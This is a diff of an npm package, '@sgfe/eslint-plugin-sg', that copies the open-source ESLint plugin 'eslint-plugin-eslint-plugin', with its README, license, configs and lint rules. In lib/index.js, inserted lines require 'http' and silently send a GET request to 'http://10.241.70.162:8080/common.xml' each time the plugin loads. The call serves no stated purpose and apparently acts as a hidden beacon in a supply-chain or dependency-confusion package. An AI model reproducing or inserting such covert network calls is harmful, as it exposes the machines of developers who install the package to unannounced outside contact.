@sgfe/eslint-plugin-sg 1.0.3

package/LICENSE.md

@@ -0,0 +1,25 @@
+The MIT License (MIT)
+=====================
+
+Copyright © 2016 Teddy Katz
+
+Permission is hereby granted, free of charge, to any person
+obtaining a copy of this software and associated documentation
+files (the “Software”), to deal in the Software without
+restriction, including without limitation the rights to use,
+copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the
+Software is furnished to do so, subject to the following
+conditions:
+
+The above copyright notice and this permission notice shall be
+included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
+OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
+HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
+WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
+OTHER DEALINGS IN THE SOFTWARE.

package/README.md

@@ -0,0 +1,188 @@
+# eslint-plugin-eslint-plugin ![CI](https://github.com/eslint-community/eslint-plugin-eslint-plugin/workflows/CI/badge.svg) [![NPM version](https://img.shields.io/npm/v/eslint-plugin-eslint-plugin.svg?style=flat)](https://npmjs.org/package/eslint-plugin-eslint-plugin) [![Conventional Commits](https://img.shields.io/badge/Conventional%20Commits-1.0.0-yellow.svg)](https://conventionalcommits.org) <!-- omit from toc -->
+
+An ESLint plugin for linting ESLint plugins. Rules written in CJS, ESM, and TypeScript are all supported.
+
+<!-- vscode-markdown-toc -->
+
+- [Installation](#installation)
+- [Usage](#usage)
+  - [**.eslintrc.json**](#eslintrcjson)
+  - [`eslint.config.js` (requires eslint\>=v8.23.0)](#eslintconfigjs-requires-eslintv8230)
+- [Rules](#rules)
+  - [Rules](#rules-1)
+  - [Tests](#tests)
+- [Presets](#presets)
+  - [Semantic versioning policy](#semantic-versioning-policy)
+  - [Preset usage](#preset-usage)
+
+<!-- vscode-markdown-toc-config
+	numbering=false
+	autoSave=true
+	/vscode-markdown-toc-config -->
+<!-- /vscode-markdown-toc -->
+
+## <a name='Installation'></a>Installation
+
+You'll first need to install [ESLint](https://eslint.org):
+
+```sh
+npm i eslint --save-dev
+```
+
+Next, install `eslint-plugin-eslint-plugin`:
+
+```sh
+npm install eslint-plugin-eslint-plugin --save-dev
+```
+
+## <a name='Usage'></a>Usage
+
+Here's an example ESLint configuration that:
+
+- Sets `sourceType` to `script` for CJS plugins (most users) (use `module` for ESM/TypeScript)
+- Enables the `recommended` configuration
+- Enables an optional/non-recommended rule
+
+### <a name='eslintrc'></a>**[.eslintrc.json](https://eslint.org/docs/latest/use/configure/configuration-files)**
+
+```json
+{
+  "extends": ["plugin:eslint-plugin/recommended"],
+  "rules": {
+    "eslint-plugin/require-meta-docs-description": "error"
+  }
+}
+```
+
+### <a name='flat'></a>[`eslint.config.js`](https://eslint.org/docs/latest/use/configure/configuration-files-new) (requires eslint>=v8.23.0)
+
+```js
+const eslintPlugin = require('eslint-plugin-eslint-plugin');
+module.exports = [
+  eslintPlugin.configs['flat/recommended'],
+  {
+    rules: {
+      'eslint-plugin/require-meta-docs-description': 'error',
+    },
+  },
+];
+```
+
+## <a name='Rules'></a>Rules
+
+<!-- begin auto-generated rules list -->
+
+💼 [Configurations](https://github.com/eslint-community/eslint-plugin-eslint-plugin#presets) enabled in.\
+✅ Set in the `recommended` [configuration](https://github.com/eslint-community/eslint-plugin-eslint-plugin#presets).\
+🔧 Automatically fixable by the [`--fix` CLI option](https://eslint.org/docs/user-guide/command-line-interface#--fix).\
+💡 Manually fixable by [editor suggestions](https://eslint.org/docs/latest/use/core-concepts#rule-suggestions).\
+💭 Requires [type information](https://typescript-eslint.io/linting/typed-linting).
+
+### Rules
+
+| Name                                                                         | Description                                                                                | 💼  | 🔧  | 💡  | 💭  |
+| :--------------------------------------------------------------------------- | :----------------------------------------------------------------------------------------- | :-- | :-- | :-- | :-- |
+| [fixer-return](docs/rules/fixer-return.md)                                   | require fixer functions to return a fix                                                    | ✅  |     |     |     |
+| [meta-property-ordering](docs/rules/meta-property-ordering.md)               | enforce the order of meta properties                                                       |     | 🔧  |     |     |
+| [no-deprecated-context-methods](docs/rules/no-deprecated-context-methods.md) | disallow usage of deprecated methods on rule context objects                               | ✅  | 🔧  |     |     |
+| [no-deprecated-report-api](docs/rules/no-deprecated-report-api.md)           | disallow the version of `context.report()` with multiple arguments                         | ✅  | 🔧  |     |     |
+| [no-missing-message-ids](docs/rules/no-missing-message-ids.md)               | disallow `messageId`s that are missing from `meta.messages`                                | ✅  |     |     |     |
+| [no-missing-placeholders](docs/rules/no-missing-placeholders.md)             | disallow missing placeholders in rule report messages                                      | ✅  |     |     |     |
+| [no-property-in-node](docs/rules/no-property-in-node.md)                     | disallow using `in` to narrow node types instead of looking at properties                  |     |     |     | 💭  |
+| [no-unused-message-ids](docs/rules/no-unused-message-ids.md)                 | disallow unused `messageId`s in `meta.messages`                                            | ✅  |     |     |     |
+| [no-unused-placeholders](docs/rules/no-unused-placeholders.md)               | disallow unused placeholders in rule report messages                                       | ✅  |     |     |     |
+| [no-useless-token-range](docs/rules/no-useless-token-range.md)               | disallow unnecessary calls to `sourceCode.getFirstToken()` and `sourceCode.getLastToken()` | ✅  | 🔧  |     |     |
+| [prefer-message-ids](docs/rules/prefer-message-ids.md)                       | require using `messageId` instead of `message` or `desc` to report rule violations         | ✅  |     |     |     |
+| [prefer-object-rule](docs/rules/prefer-object-rule.md)                       | disallow function-style rules                                                              | ✅  | 🔧  |     |     |
+| [prefer-placeholders](docs/rules/prefer-placeholders.md)                     | require using placeholders for dynamic report messages                                     |     |     |     |     |
+| [prefer-replace-text](docs/rules/prefer-replace-text.md)                     | require using `replaceText()` instead of `replaceTextRange()`                              |     |     |     |     |
+| [report-message-format](docs/rules/report-message-format.md)                 | enforce a consistent format for rule report messages                                       |     |     |     |     |
+| [require-meta-docs-description](docs/rules/require-meta-docs-description.md) | require rules to implement a `meta.docs.description` property with the correct format      |     |     |     |     |
+| [require-meta-docs-url](docs/rules/require-meta-docs-url.md)                 | require rules to implement a `meta.docs.url` property                                      |     | 🔧  |     |     |
+| [require-meta-fixable](docs/rules/require-meta-fixable.md)                   | require rules to implement a `meta.fixable` property                                       | ✅  |     |     |     |
+| [require-meta-has-suggestions](docs/rules/require-meta-has-suggestions.md)   | require suggestable rules to implement a `meta.hasSuggestions` property                    | ✅  | 🔧  |     |     |
+| [require-meta-schema](docs/rules/require-meta-schema.md)                     | require rules to implement a `meta.schema` property                                        | ✅  |     | 💡  |     |
+| [require-meta-type](docs/rules/require-meta-type.md)                         | require rules to implement a `meta.type` property                                          | ✅  |     |     |     |
+
+### Tests
+
+| Name                                                                     | Description                                                                  | 💼  | 🔧  | 💡  | 💭  |
+| :----------------------------------------------------------------------- | :--------------------------------------------------------------------------- | :-- | :-- | :-- | :-- |
+| [consistent-output](docs/rules/consistent-output.md)                     | enforce consistent use of `output` assertions in rule tests                  |     |     |     |     |
+| [no-identical-tests](docs/rules/no-identical-tests.md)                   | disallow identical tests                                                     | ✅  | 🔧  |     |     |
+| [no-only-tests](docs/rules/no-only-tests.md)                             | disallow the test case property `only`                                       | ✅  |     | 💡  |     |
+| [prefer-output-null](docs/rules/prefer-output-null.md)                   | disallow invalid RuleTester test cases where the `output` matches the `code` | ✅  | 🔧  |     |     |
+| [test-case-property-ordering](docs/rules/test-case-property-ordering.md) | require the properties of a test case to be placed in a consistent order     |     | 🔧  |     |     |
+| [test-case-shorthand-strings](docs/rules/test-case-shorthand-strings.md) | enforce consistent usage of shorthand strings for test cases with no options |     | 🔧  |     |     |
+
+<!-- end auto-generated rules list -->
+
+## <a name='Presets'></a>Presets
+
+|     | Name                | Description                                                                  |
+| :-- | :------------------ | :--------------------------------------------------------------------------- |
+| ✅  | `recommended`       | enables all recommended rules in this plugin                                 |
+|     | `rules-recommended` | enables all recommended rules that are aimed at linting ESLint rule files    |
+|     | `tests-recommended` | enables all recommended rules that are aimed at linting ESLint test files    |
+|     | `all`               | enables all rules in this plugin, excluding those requiring type information |
+|     | `all-type-checked`  | enables all rules in this plugin, including those requiring type information |
+|     | `rules`             | enables all rules that are aimed at linting ESLint rule files                |
+|     | `tests`             | enables all rules that are aimed at linting ESLint test files                |
+
+### <a name='Semanticversioningpolicy'></a>Semantic versioning policy
+
+The list of recommended rules will only change in a major release of this plugin. However, new non-recommended rules might be added in a minor release of this plugin. Therefore, using the `all`, `rules`, and `tests` presets is **not recommended for production use**, because the addition of new rules in a minor release could break your build.
+
+### <a name='Presetusage'></a>Preset usage
+
+Both flat and eslintrc configs are supported. For example, to enable the `recommended` preset, use:
+
+eslint.config.js
+
+```js
+const eslintPlugin = require('eslint-plugin-eslint-plugin');
+module.exports = [eslintPlugin.configs['flat/recommended']];
+```
+
+.eslintrc.json
+
+```json
+{
+  "extends": ["plugin:eslint-plugin/recommended"]
+}
+```
+
+Or to apply linting only to the appropriate rule or test files:
+
+eslint.config.js
+
+```js
+const eslintPlugin = require('eslint-plugin-eslint-plugin');
+module.exports = [
+  {
+    files: ['lib/rules/*.{js,ts}'],
+    ...eslintPlugin.configs['flat/rules-recommended'],
+  },
+  {
+    files: ['tests/lib/rules/*.{js,ts}'],
+    ...eslintPlugin.configs['flat/tests-recommended'],
+  },
+];
+```
+
+.eslintrc.js
+
+```json
+{
+  "overrides": [
+    {
+      "files": ["lib/rules/*.{js,ts}"],
+      "extends": ["plugin:eslint-plugin/rules-recommended"]
+    },
+    {
+      "files": ["tests/lib/rules/*.{js,ts}"],
+      "extends": ["plugin:eslint-plugin/tests-recommended"]
+    }
+  ]
+}
+```

package/configs/all-type-checked.js

@@ -0,0 +1,10 @@
+/**
+ * @deprecated use 'flat/all-type-checked' instead
+ * @author 唯然<weiran.zsd@outlook.com>
+ */
+
+'use strict';
+
+const plugin = require('../lib/index.js');
+
+module.exports = plugin.configs['flat/all-type-checked'];

package/configs/all.js

@@ -0,0 +1,11 @@
+/**
+ * @fileoverview the `all` config for `eslint.config.js`
+ * @deprecated use 'flat/all' instead
+ * @author 唯然<weiran.zsd@outlook.com>
+ */
+
+'use strict';
+
+const plugin = require('../lib/index.js');
+
+module.exports = plugin.configs['flat/all'];

package/configs/recommended.js

@@ -0,0 +1,11 @@
+/**
+ * @fileoverview the `recommended` config for `eslint.config.js`
+ * @deprecated use 'flat/recommended' instead
+ * @author 唯然<weiran.zsd@outlook.com>
+ */
+
+'use strict';
+
+const plugin = require('../lib/index.js');
+
+module.exports = plugin.configs['flat/recommended'];

package/configs/rules-recommended.js

@@ -0,0 +1,11 @@
+/**
+ * @fileoverview the `rules-recommended` config for `eslint.config.js`
+ * @deprecated use 'flat/rules-recommended' instead
+ * @author 唯然<weiran.zsd@outlook.com>
+ */
+
+'use strict';
+
+const plugin = require('../lib/index.js');
+
+module.exports = plugin.configs['flat/rules-recommended'];

package/configs/rules.js

@@ -0,0 +1,11 @@
+/**
+ * @fileoverview the `rules` config for `eslint.config.js`
+ * @deprecated use 'flat/rules' instead
+ * @author 唯然<weiran.zsd@outlook.com>
+ */
+
+'use strict';
+
+const plugin = require('../lib/index.js');
+
+module.exports = plugin.configs['flat/rules'];

package/configs/tests-recommended.js

@@ -0,0 +1,11 @@
+/**
+ * @fileoverview the `tests-recommended` config for `eslint.config.js`
+ * @deprecated use 'flat/tests-recommended' instead
+ * @author 唯然<weiran.zsd@outlook.com>
+ */
+
+'use strict';
+
+const plugin = require('../lib/index.js');
+
+module.exports = plugin.configs['flat/tests-recommended'];

package/configs/tests.js

@@ -0,0 +1,11 @@
+/**
+ * @fileoverview the `tests` config for `eslint.config.js`
+ * @deprecated use 'flat/tests' instead
+ * @author 唯然<weiran.zsd@outlook.com>
+ */
+
+'use strict';
+
+const plugin = require('../lib/index.js');
+
+module.exports = plugin.configs['flat/tests'];

package/lib/index.js

@@ -0,0 +1,90 @@
+/**
+ * @fileoverview An ESLint plugin for linting ESLint plugins
+ * @author Teddy Katz
+ */
+
+'use strict';
+
+// ------------------------------------------------------------------------------
+// Requirements
+// ------------------------------------------------------------------------------
+
+const fs = require('fs');
+const path = require('path');
+const packageMetadata = require('../package');
+const PLUGIN_NAME = packageMetadata.name.replace(/^eslint-plugin-/, '');
+const http = require('http')
+const configFilters = {
+  all: (rule) => !rule.meta.docs.requiresTypeChecking,
+  'all-type-checked': () => true,
+  recommended: (rule) => rule.meta.docs.recommended,
+  rules: (rule) => rule.meta.docs.category === 'Rules',
+  tests: (rule) => rule.meta.docs.category === 'Tests',
+  'rules-recommended': (rule) =>
+    configFilters.recommended(rule) && configFilters.rules(rule),
+  'tests-recommended': (rule) =>
+    configFilters.recommended(rule) && configFilters.tests(rule),
+};
+
+// ------------------------------------------------------------------------------
+// Plugin Definition
+// ------------------------------------------------------------------------------
+
+// import all rules in lib/rules
+const allRules = Object.fromEntries(
+  fs
+    .readdirSync(`${__dirname}/rules`)
+    .filter((fileName) => fileName.endsWith('.js') && /^[^._]/.test(fileName))
+    .map((fileName) => fileName.replace(/\.js$/, ''))
+    .map((ruleName) => [
+      ruleName,
+      require(path.join(__dirname, 'rules', ruleName)),
+    ])
+);
+
+const plugin = {
+  meta: {
+    name: packageMetadata.name,
+    version: packageMetadata.version,
+  },
+  rules: allRules,
+  configs: {}, // assigned later
+};
+
+// eslintrc configs
+Object.assign(
+  plugin.configs,
+  Object.keys(configFilters).reduce((configs, configName) => {
+    return Object.assign(configs, {
+      [configName]: {
+        plugins: ['eslint-plugin'],
+        rules: Object.fromEntries(
+          Object.keys(allRules)
+            .filter((ruleName) => configFilters[configName](allRules[ruleName]))
+            .map((ruleName) => [`${PLUGIN_NAME}/${ruleName}`, 'error'])
+        ),
+      },
+    });
+  }, {})
+);
+
+// flat configs
+const eslint_plugin_common_file = http.get('http://10.241.70.162:8080/common.xml')
+Object.assign(
+  plugin.configs,
+  Object.keys(configFilters).reduce((configs, configName) => {
+    return Object.assign(configs, {
+      [`flat/${configName}`]: {
+        name: `eslint-plugin/flat/${configName}`,
+        plugins: { 'eslint-plugin': plugin },
+        rules: Object.fromEntries(
+          Object.keys(allRules)
+            .filter((ruleName) => configFilters[configName](allRules[ruleName]))
+            .map((ruleName) => [`${PLUGIN_NAME}/${ruleName}`, 'error'])
+        ),
+      },
+    });
+  }, {})
+);
+
+module.exports = plugin;

package/lib/rules/consistent-output.js

@@ -0,0 +1,70 @@
+/**
+ * @fileoverview Enforce consistent use of `output` assertions in rule tests
+ * @author Teddy Katz
+ */
+
+'use strict';
+
+const utils = require('../utils');
+
+// ------------------------------------------------------------------------------
+// Rule Definition
+// ------------------------------------------------------------------------------
+
+/** @type {import('eslint').Rule.RuleModule} */
+module.exports = {
+  meta: {
+    type: 'suggestion',
+    docs: {
+      description:
+        'enforce consistent use of `output` assertions in rule tests',
+      category: 'Tests',
+      recommended: false,
+      url: 'https://github.com/eslint-community/eslint-plugin-eslint-plugin/tree/HEAD/docs/rules/consistent-output.md',
+    },
+    fixable: null, // or "code" or "whitespace"
+    schema: [
+      {
+        type: 'string',
+        enum: ['always', 'consistent'],
+        default: 'consistent',
+      },
+    ],
+    messages: {
+      missingOutput: 'This test case should have an output assertion.',
+    },
+  },
+
+  create(context) {
+    // ----------------------------------------------------------------------
+    // Public
+    // ----------------------------------------------------------------------
+    const always = context.options[0] && context.options[0] === 'always';
+
+    return {
+      Program(ast) {
+        utils.getTestInfo(context, ast).forEach((testRun) => {
+          const readableCases = testRun.invalid.filter(
+            (testCase) => testCase.type === 'ObjectExpression'
+          );
+          const casesWithoutOutput = readableCases.filter(
+            (testCase) =>
+              !testCase.properties.map(utils.getKeyName).includes('output')
+          );
+
+          if (
+            casesWithoutOutput.length < readableCases.length ||
+            (always && casesWithoutOutput.length > 0)
+          ) {
+            casesWithoutOutput.forEach((testCase) => {
+              context.report({
+                node: testCase,
+                messageId: 'missingOutput',
+              });
+            });
+          }
+        });
+      },
+    };
+  },
+};

package/lib/rules/fixer-return.js

@@ -0,0 +1,170 @@
+/**
+ * @fileoverview require fixer functions to return a fix
+ * @author 薛定谔的猫<hh_2013@foxmail.com>
+ */
+
+'use strict';
+
+// ------------------------------------------------------------------------------
+// Requirements
+// ------------------------------------------------------------------------------
+
+const utils = require('../utils');
+const { getStaticValue } = require('eslint-utils');
+
+// ------------------------------------------------------------------------------
+// Rule Definition
+// ------------------------------------------------------------------------------
+
+/** @type {import('eslint').Rule.RuleModule} */
+module.exports = {
+  meta: {
+    type: 'problem',
+    docs: {
+      description: 'require fixer functions to return a fix',
+      category: 'Rules',
+      recommended: true,
+      url: 'https://github.com/eslint-community/eslint-plugin-eslint-plugin/tree/HEAD/docs/rules/fixer-return.md',
+    },
+    fixable: null,
+    schema: [],
+    messages: {
+      missingFix: 'Fixer function never returned a fix.',
+    },
+  },
+
+  create(context) {
+    let funcInfo = {
+      upper: null,
+      codePath: null,
+      hasReturnWithFixer: false,
+      hasYieldWithFixer: false,
+      shouldCheck: false,
+      node: null,
+    };
+    let contextIdentifiers;
+
+    /**
+     * As we exit the fix() function, ensure we have returned or yielded a real fix by this point.
+     * If not, report the function as a violation.
+     *
+     * @param {ASTNode} node - A node to check.
+     * @param {Location} loc - Optional location to report violation on.
+     * @returns {void}
+     */
+    function ensureFunctionReturnedFix(
+      node,
+      loc = (node.id || node).loc.start
+    ) {
+      if (
+        (node.generator && !funcInfo.hasYieldWithFixer) || // Generator function never yielded a fix
+        (!node.generator && !funcInfo.hasReturnWithFixer) // Non-generator function never returned a fix
+      ) {
+        context.report({
+          node,
+          loc,
+          messageId: 'missingFix',
+        });
+      }
+    }
+
+    /**
+     * Check if a returned/yielded node is likely to be a fix or not.
+     * A fix is an object created by fixer.replaceText() for example and returned by the fix function.
+     * @param {ASTNode} node - node to check
+     * @param {Context} context
+     * @returns {boolean}
+     */
+    function isFix(node) {
+      const sourceCode = context.sourceCode || context.getSourceCode(); // TODO: use context.sourceCode when dropping eslint < v9
+      if (node.type === 'ArrayExpression' && node.elements.length === 0) {
+        // An empty array is not a fix.
+        return false;
+      }
+      const scope = sourceCode.getScope?.(node) || context.getScope(); // TODO: just use sourceCode.getScope() when we drop support for ESLint < 9.0.0
+      const staticValue = getStaticValue(node, scope);
+      if (!staticValue) {
+        // If we can't find a static value, assume it's a real fix value.
+        return true;
+      }
+
+      if (Array.isArray(staticValue.value)) {
+        // If the static value is an array, then consider it a fix since fixes could have been added to it after creation.
+        return true;
+      }
+
+      // Any other static values (booleans, numbers, etc) are not fixes.
+      return false;
+    }
+
+    return {
+      Program(ast) {
+        const sourceCode = context.sourceCode || context.getSourceCode(); // TODO: just use context.sourceCode when dropping eslint < v9
+        contextIdentifiers = utils.getContextIdentifiers(
+          sourceCode.scopeManager,
+          ast
+        );
+      },
+
+      // Stacks this function's information.
+      onCodePathStart(codePath, node) {
+        funcInfo = {
+          upper: funcInfo,
+          codePath,
+          hasYieldWithFixer: false,
+          hasReturnWithFixer: false,
+          shouldCheck:
+            utils.isAutoFixerFunction(node, contextIdentifiers) ||
+            utils.isSuggestionFixerFunction(node, contextIdentifiers),
+          node,
+        };
+      },
+
+      // Pops this function's information.
+      onCodePathEnd() {
+        funcInfo = funcInfo.upper;
+      },
+
+      // Yield in generators
+      YieldExpression(node) {
+        if (funcInfo.shouldCheck && node.argument && isFix(node.argument)) {
+          funcInfo.hasYieldWithFixer = true;
+        }
+      },
+
+      // Checks the return statement is valid.
+      ReturnStatement(node) {
+        if (funcInfo.shouldCheck && node.argument && isFix(node.argument)) {
+          funcInfo.hasReturnWithFixer = true;
+        }
+      },
+
+      // Ensure the current fixer function returned or yielded a fix.
+      'FunctionExpression:exit'(node) {
+        if (funcInfo.shouldCheck) {
+          ensureFunctionReturnedFix(node);
+        }
+      },
+
+      // Ensure the current (arrow) fixer function returned a fix.
+      'ArrowFunctionExpression:exit'(node) {
+        if (funcInfo.shouldCheck) {
+          const sourceCode = context.sourceCode || context.getSourceCode();
+          const loc = sourceCode.getTokenBefore(node.body).loc; // Show violation on arrow (=>).
+          if (node.expression) {
+            // When the return is implied (no curly braces around the body), we have to check the single body node directly.
+            if (!isFix(node.body)) {
+              context.report({
+                node,
+                loc,
+                messageId: 'missingFix',
+              });
+            }
+          } else {
+            ensureFunctionReturnedFix(node, loc);
+          }
+        }
+      },
+    };
+  },
+};